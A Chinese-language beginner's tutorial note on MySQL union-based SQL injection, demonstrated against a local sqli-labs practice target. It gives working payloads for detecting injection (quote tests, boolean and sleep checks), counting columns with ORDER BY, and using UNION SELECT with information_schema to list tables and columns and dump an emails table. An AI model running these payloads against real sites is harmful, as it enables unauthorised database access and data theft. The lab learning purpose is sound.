前言

这篇文章是我在学习sql注入时的笔记,也算是入门第一课,步入高中时就有一个黑客梦,虽然现在还很菜,但是乐在其中。sql注入属于OWASP TOP 10 重要程度我就不说了,学就完了。

mysql注入漏洞有很多中,包括但不限于联合查询注入,报错注入,时间盲注,布尔盲注,堆叠注入,DNS注入,我会将其分成几个篇章进行讲解,同时也会对后续进行补充。

漏洞原理

服务端在接收来自客户端的查询参数后,未对查询参数进行严格的过滤。导致恶意用户可在查询参数中插入恶意的sql语句来查询数据库中的敏感信息,最终造成数据库信息泄露。

基本条件

  1. 查询列数必须一致。
  2. 查询语句的查询的各列类型,顺序最好一致。

这些基本条件我也不知道当时从哪借鉴过来的,大家看看就好了。

判断是否有注入

?id=1 参数后加 " ' ")) ")) 单双引号,引号括号等判断页面内容是否会消失
or/and 1=1 页面正常 or/and 1=2 页面显示内容消失

or/and sleep(5) –+ / or ‘1’=’1’ 检测时间注入

and (select 1 from(select sleep(5)))
如果当前数据表没有数据上面这种方法就无法检测,这个利用子查询结构还是可以检测

?id=-11’ union all select 1,2,3,4 – -

注入漏洞利用

位置通常在 where后面, 联合语句必须要在select的最后处,所以在注入过程中需要利用注释符号注释掉后面的结构

select * from users where id=1 union select 1,2,3,4
注释符号随便你 ; --+ 其他注释都可以,看自己
  1. 闭合
  2. 判断字段数
  3. 判断结果输出位置

我也忘了在哪看到的,步骤真用起来大家就随便操作就ok,不必拘束于比步骤啥的。

order by函数

这个函数使用查询数据库含有几个字段的函数,语句用于根据指定的列对结果集进行排序,语句默认(asc)按照升序对记录进行排序。那么如果你想要排序的字段大于数据库含有的字段,那么就会报错,故用来查询含有多少字段。

整数型注入

1 order by 1 
by后面加数字,如果字段没超过这个数字,就不会报错
如果报错,那么就说明by后面数字超过字段,那么久试试就判断出字段来了
查字段要使order by前面正确,跟后面区分一下

字符型注入

1'order by 1#
这里加上了引号还有# 没啥别的意思,只是在字符型注入中
大家视情况而定即可。
http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-1/?id=1' order by 4#
这是我本地搭建的sqllabs order by 3不报错,order by 4报错说明三个字段

union函数

这里就要介绍另一个函数union,union操作符用于合并两个或多个select语句的结果集。

整数型:
1 union select 1,2 -- 我们输入的语句
select * from users where id=1 union select 1,2 -- 后台执行的语句
字符型:
1' union select 1,2 --+(我们输入的语句)
select * from users where id=1' union select 1,2 --+ (后台执行的语句)

输入了发现欸,啥变化也没有,这是咋了,这是sql语法导致只会返回第一行查询结果,那么当然返回查询id=1的结果了。

-1 union select 1,2,3 
会发现输出变变为了
name:2
password:3
后方两个字符处输出了23,那么就可以借助这种特点进行sql查询的注入,在23的位置添加东西,就OK了

后面就是构造各种语句进行查询,表啊,库啊,名啊,列啊,随你查。

爆库、爆表、爆列

爆破库名

union select 1,2,database()

爆破表名

union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
union select 1,2, group_concat(table_name) from information_schema.columns where table_schema=database()

爆破列(column)名

union select 1,2, group_concat(column_name) from information_schema.columns where table_schema=database()

爆破表中字段

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='emails' --+ (emails是上方爆破表名爆破出来的,根据实际情况而定)

爆破字段信息

?id=-1' union select 1,2,group_concat(email_id) from emails --+(同样是上方字段中查到的emails_id 在这里进行查找)

这里语句需要你自己视情况而定去构造,也不多说,多实践一下就明白其中的奥妙。一般来说是这个步骤,但是有时候你已经知道一些信息就没必要这么一步一步来了。

演示

查database()
-1' union select 1,2,database() --+ 

诺,这不就database()出来了吗

I528PA.png

爆破表名试试

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
爆破出了四个表名 emails,referers,uagents,users

I52lUH.png

我们并不知道这四个表里面到底有啥,试试就行了

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='emails'  --+

I5215d.png

那就是了,存储着id和email_id 查查试试

?id=-1' union select 1,2,group_concat(email_id) from emails --+

I52QVe.png

这是sqllabs的第一关,蛮简单,大家记得多去做做最好。

sql注入不管啥方式,一定要记得灵活应用,不要死记硬背。结合其他漏洞会有意想不到的好处,sql虽然CTF考的少,但是也算比较重要的漏洞,平时实战碰到的会不少。

PS:这里 –+ 为注释符,但是这个注释符在sqllabs中可以用,但是在别的靶场就用不了了,猜测可能跟数据库版本有关,我不理解但我大为震撼,注意这一点就ok

参考

https://www.bilibili.com/video/BV1VA411u7Tg?p=9

https://www.w3school.com.cn/sql/sql_union.asp

http://wjlshare.com/archives/1317